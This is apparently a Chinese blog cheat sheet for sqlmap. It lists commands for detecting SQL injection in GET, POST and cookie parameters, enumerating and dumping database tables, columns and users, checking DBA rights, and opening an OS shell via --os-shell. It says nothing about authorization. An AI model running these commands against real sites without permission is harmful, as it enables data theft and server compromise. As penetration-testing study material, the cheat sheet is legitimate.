sqlmap使用手册

get方式检查方法:

sqlmap -u "网址" 

post方法检查方法:

1.sqlmap -u "网址" --data "post参数=post数据"

2.sqlmap -r x.txt   直接根据请求包注入,在请求包里每个消息头最后加*,就是添加对该信息头的注入

cookie方式检测方法:

sqlmap -u "网址" --cookie "cookie值"



不同数据库注入方法:

access数据库:

判断:sqlmap -u "网址"

列出所有表名: sqlmap -u "网址" --tables

针对表列出所有列名:sqlmap -u "网址" -T "表名" --columns

针对列名列出字段:sqlmap -u "网址"  --dump  -T  "表名"   -C  "列名"

mysql数据库:

 判断:sqlmap -u "网址"

列出所有库名:sqlmap -u "网址" --dbs

列出当前网站所使用的数据库库名:   sqlmap -u "网址" --current-db

列出针对某数据库的所有表名: sqlmap -u "网址" -D "数据库名" --tables

针对表列出所有列名:sqlmap -u "网址"    -D "数据库名"  -T "表名" --columns

针对列名列出字段:sqlmap -u "网址"  --dump  -D “数据库名” -T  "表名"   -C  "列名"

列出管理数据库的用户名: --users

列出当前用户名: --current-user

读取数量: --count


若拿到最高权限(--current-user


                                mysql root


                                 mssql sa


                                  --is-dba


                                 oracle dba)

就可以写文件、执行命令:

--os-shell(sqlmap结束运行后,所产生的文件会自动删除)


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值